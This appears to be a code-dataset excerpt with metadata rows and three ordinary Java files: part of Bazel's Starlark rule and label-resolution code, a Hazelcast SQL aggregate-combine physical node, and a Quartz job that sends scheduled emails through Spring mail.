if (!hasFunctionTransitionWhitelist) {
throw new EvalException(
getLocation(),
String.format(
"Use of Starlark transition without whitelist attribute"
+ " '_whitelist_function_transition'. See Starlark transitions documentation"
+ " for details and usage: %s %s",
builder.getRuleDefinitionEnvironmentLabel(), builder.getType()));
}
} else {
if (hasFunctionTransitionWhitelist) {
throw new EvalException(
getLocation(),
String.format(
"Unused function-based split transition whitelist: %s %s",
builder.getRuleDefinitionEnvironmentLabel(), builder.getType()));
}
}
try {
this.ruleClass = builder.build(ruleClassName, skylarkLabel + "%" + ruleClassName);
} catch (IllegalArgumentException | IllegalStateException ex) {
throw new EvalException(getLocation(), ex);
}
this.builder = null;
this.attributes = null;
}
public RuleClass getRuleClass() {
Preconditions.checkState(ruleClass != null && builder == null);
return ruleClass;
}
@Override
public boolean isExported() {
return skylarkLabel != null;
}
@Override
public void repr(Printer printer) {
printer.append("<rule>");
}
@Override
public String toString() {
return "rule(...)";
}
@Override
public boolean isImmutable() {
return true;
}
}
@Override
public Label label(String labelString, Boolean relativeToCallerRepository, StarlarkThread thread)
throws EvalException {
BazelStarlarkContext context = BazelStarlarkContext.from(thread);
// This function is surprisingly complex.
//
// Doc:
// "When relative_to_caller_repository is True and the calling thread is a
// rule's implementation function, then a repo-relative label //foo:bar is
// resolved relative to the rule's repository. For calls to Label from any
// other thread, or calls in which the relative_to_caller_repository flag is
// False, a repo-relative label is resolved relative to the file in which the
// Label() call appears.)"
//
// - The "and" conjunction in first line of the doc above doesn't match the code.
// There are three cases to consider, not two, as parentLabel can be null or
// in the relativeToCallerRepository branch.
// Thus in a loading phase thread with relativeToCallerRepository=True,
// the repo mapping is (I suspect) erroneously skipped.
// TODO(adonovan): verify, and file a doc bug if so.
//
// - The deprecated relative_to_caller_repository semantics can be explained
// as thread-local state, something we've embraced elsewhere in the build language.
// (For example, in the loading phase, calling cc_binary creates a rule in the
// package associated with the calling thread.)
//
// By contrast, the default relative_to_caller_repository=False semantics
// are more magical, using dynamic scope: introspection on the call stack.
// This is an obstacle to removing GlobalFrame.
//
// An alternative way to implement that would be to say that each BUILD/.bzl file
// has its own function value called Label that is a closure over the current
// file label. (That would mean that if you export the Label function from a.bzl
// file and load it into b.bzl, it would behave differently from the Label function
// predeclared in b.bzl, so the choice of implementation strategy is observable.
// However this case is not important in practice.)
// TODO(adonovan): use this alternative implementation.
//
// - Logically all we really need from this process is a RepoID, not a Label
// or PackageID, but the Label class doesn't yet have the necessary primitives.
// TODO(adonovan): augment the Label class.
//
// - When repository mapping does occur, the result is converted back to a string
// "unambiguous" canonical form and then parsed again by the cache, with
// no repo mapping.
// TODO(adonovan): augment the Label class so that we can validate, remap,
// and cache without needing four allocations (parseAbsoluteLabel,
// getRelativeWithRemapping, getUnambiguousCanonicalForm, parseAbsoluteLabel
// in labelCache)
Label parentLabel;
if (relativeToCallerRepository) {
// This is the label of the rule, if this is an analysis-phase
// rule or aspect implementation thread, or null otherwise.
parentLabel = context.getAnalysisRuleLabel();
} else {
// This is the label of the innermost BUILD/.bzl file on the current call stack.
parentLabel = (Label) Module.ofInnermostEnclosingStarlarkFunction(thread).getLabel();
}
try {
if (parentLabel != null) {
LabelValidator.parseAbsoluteLabel(labelString);
labelString =
parentLabel
.getRelativeWithRemapping(labelString, context.getRepoMapping())
.getUnambiguousCanonicalForm();
}
return labelCache.get(labelString);
} catch (LabelValidator.BadLabelException | LabelSyntaxException | ExecutionException e) {
throw Starlark.errorf("Illegal absolute label syntax: %s", labelString);
}
}
@Override
public ExecGroup execGroup(
Sequence<?> toolchains, Sequence<?> execCompatibleWith, StarlarkThread thread)
throws EvalException {
ImmutableSet<Label> toolchainTypes = ImmutableSet.copyOf(parseToolchains(toolchains, thread));
ImmutableSet<Label> constraints =
ImmutableSet.copyOf(parseExecCompatibleWith(execCompatibleWith, thread));
return new ExecGroup(toolchainTypes, constraints);
}
}
|
3e0e6f7412259503159e3937a5406976ee6cd26a | 2,504 | java | Java | hazelcast-sql/src/main/java/com/hazelcast/jet/sql/impl/opt/physical/AggregateCombinePhysicalRel.java | ldziedziul-gh-tests/hazelcast | 3a7382ac8164bc17836fc9b1f852b2667e7bef96 | [
"ECL-2.0",
"Apache-2.0"
] | 4,283 | 2015-01-02T03:56:10.000Z | 2022-03-29T23:07:45.000Z | hazelcast-sql/src/main/java/com/hazelcast/jet/sql/impl/opt/physical/AggregateCombinePhysicalRel.java | ldziedziul-gh-tests/hazelcast | 3a7382ac8164bc17836fc9b1f852b2667e7bef96 | [
"ECL-2.0",
"Apache-2.0"
] | 14,014 | 2015-01-01T04:29:38.000Z | 2022-03-31T21:47:55.000Z | hazelcast-sql/src/main/java/com/hazelcast/jet/sql/impl/opt/physical/AggregateCombinePhysicalRel.java | ldziedziul-gh-tests/hazelcast | 3a7382ac8164bc17836fc9b1f852b2667e7bef96 | [
"ECL-2.0",
"Apache-2.0"
] | 1,608 | 2015-01-04T09:57:08.000Z | 2022-03-31T12:05:26.000Z | 32.519481 | 117 | 0.715655 | 6,126 | /*
* Copyright 2021 Hazelcast Inc.
*
* Licensed under the Hazelcast Community License (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://hazelcast.com/hazelcast-community-license
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.hazelcast.jet.sql.impl.opt.physical;
import com.hazelcast.jet.aggregate.AggregateOperation;
import com.hazelcast.jet.core.Vertex;
import com.hazelcast.jet.sql.impl.opt.OptUtils;
import com.hazelcast.sql.impl.QueryParameterMetadata;
import com.hazelcast.sql.impl.plan.node.PlanNodeSchema;
import org.apache.calcite.plan.RelOptCluster;
import org.apache.calcite.plan.RelTraitSet;
import org.apache.calcite.rel.RelNode;
import org.apache.calcite.rel.core.Aggregate;
import org.apache.calcite.rel.core.AggregateCall;
import org.apache.calcite.util.ImmutableBitSet;
import java.util.ArrayList;
import java.util.List;
public class AggregateCombinePhysicalRel extends Aggregate implements PhysicalRel {
private final AggregateOperation<?, Object[]> aggrOp;
AggregateCombinePhysicalRel(
RelOptCluster cluster,
RelTraitSet traits,
RelNode input,
ImmutableBitSet groupSet,
List<ImmutableBitSet> groupSets,
List<AggregateCall> aggCalls,
AggregateOperation<?, Object[]> aggrOp
) {
super(cluster, traits, new ArrayList<>(), input, groupSet, groupSets, aggCalls);
this.aggrOp = aggrOp;
}
public AggregateOperation<?, Object[]> aggrOp() {
return aggrOp;
}
@Override
public PlanNodeSchema schema(QueryParameterMetadata parameterMetadata) {
return OptUtils.schema(getRowType());
}
@Override
public Vertex accept(CreateDagVisitor visitor) {
return visitor.onCombine(this);
}
@Override
public final Aggregate copy(
RelTraitSet traitSet,
RelNode input,
ImmutableBitSet groupSet,
List<ImmutableBitSet> groupSets,
List<AggregateCall> aggCalls
) {
return new AggregateCombinePhysicalRel(getCluster(), traitSet, input, groupSet, groupSets, aggCalls, aggrOp);
}
}
|
3e0e6fd6b42a4ad2de983a9a2e7f36ba2f450816 | 2,403 | java | Java | src/main/java/com/jobmanager/dynamicqwartzjobs/jobs/EmailJob.java | josousa82/Job-Scheduler-Manager-SpringBoot | 1f0c85225cc1c9422b8c7c2cf6abe270780f2916 | [
"MIT"
] | null | null | null | src/main/java/com/jobmanager/dynamicqwartzjobs/jobs/EmailJob.java | josousa82/Job-Scheduler-Manager-SpringBoot | 1f0c85225cc1c9422b8c7c2cf6abe270780f2916 | [
"MIT"
] | 24 | 2020-10-27T21:52:15.000Z | 2020-11-19T15:34:00.000Z | src/main/java/com/jobmanager/dynamicqwartzjobs/jobs/EmailJob.java | josousa82/Job-Scheduler-Manager-SpringBoot | 1f0c85225cc1c9422b8c7c2cf6abe270780f2916 | [
"MIT"
] | null | null | null | 33.402778 | 95 | 0.671518 | 6,127 | package com.jobmanager.dynamicqwartzjobs.jobs;
import lombok.extern.slf4j.Slf4j;
import org.quartz.Job;
import org.quartz.JobDataMap;
import org.quartz.JobExecutionContext;
import org.quartz.JobExecutionException;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.mail.javamail.JavaMailSender;
import org.springframework.mail.javamail.MimeMessageHelper;
import org.springframework.util.CollectionUtils;
import javax.mail.MessagingException;
import javax.mail.internet.MimeMessage;
import java.io.UnsupportedEncodingException;
import java.util.List;
/**
* Created by sousaJ on 27/10/2020
* in package - com.jobmanager.dynamicqwartzjobs.jobs
**/
@Slf4j
public class EmailJob implements Job {
@Autowired
private JavaMailSender javaMailSender;
@Override
public void execute(JobExecutionContext jobExecutionContext) throws JobExecutionException {
log.info("job triggered to send emails");
JobDataMap map = jobExecutionContext.getMergedJobDataMap();
sendEmail(map);
log.info("Job complete");
}
private void sendEmail(JobDataMap map) {
String subject = map.getString("subject");
String messageBody = map.getString("messageBody");
List<String> to = (List<String>) map.get("to");
List<String> cc = (List<String>) map.get("cc");
List<String> bcc = (List<String>) map.get("bcc");
MimeMessage message = javaMailSender.createMimeMessage();
try {
MimeMessageHelper mimeMessageHelper = new MimeMessageHelper(message, false);
for (String recipient : to) {
mimeMessageHelper.setFrom("upchh@example.com", "example quartz tutorial");
mimeMessageHelper.setTo(recipient);
mimeMessageHelper.setSubject(subject);
mimeMessageHelper.setText(messageBody);
if (!CollectionUtils.isEmpty(cc)) {
mimeMessageHelper.setCc(cc.toArray(String[]::new));
}
if (!CollectionUtils.isEmpty(bcc)) {
mimeMessageHelper.setBcc(bcc.toArray(String[]::new));
}
this.javaMailSender.send(message);
}
} catch (MessagingException | UnsupportedEncodingException e) {
log.error("An error occurred: {}", e.getLocalizedMessage());
}
}
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.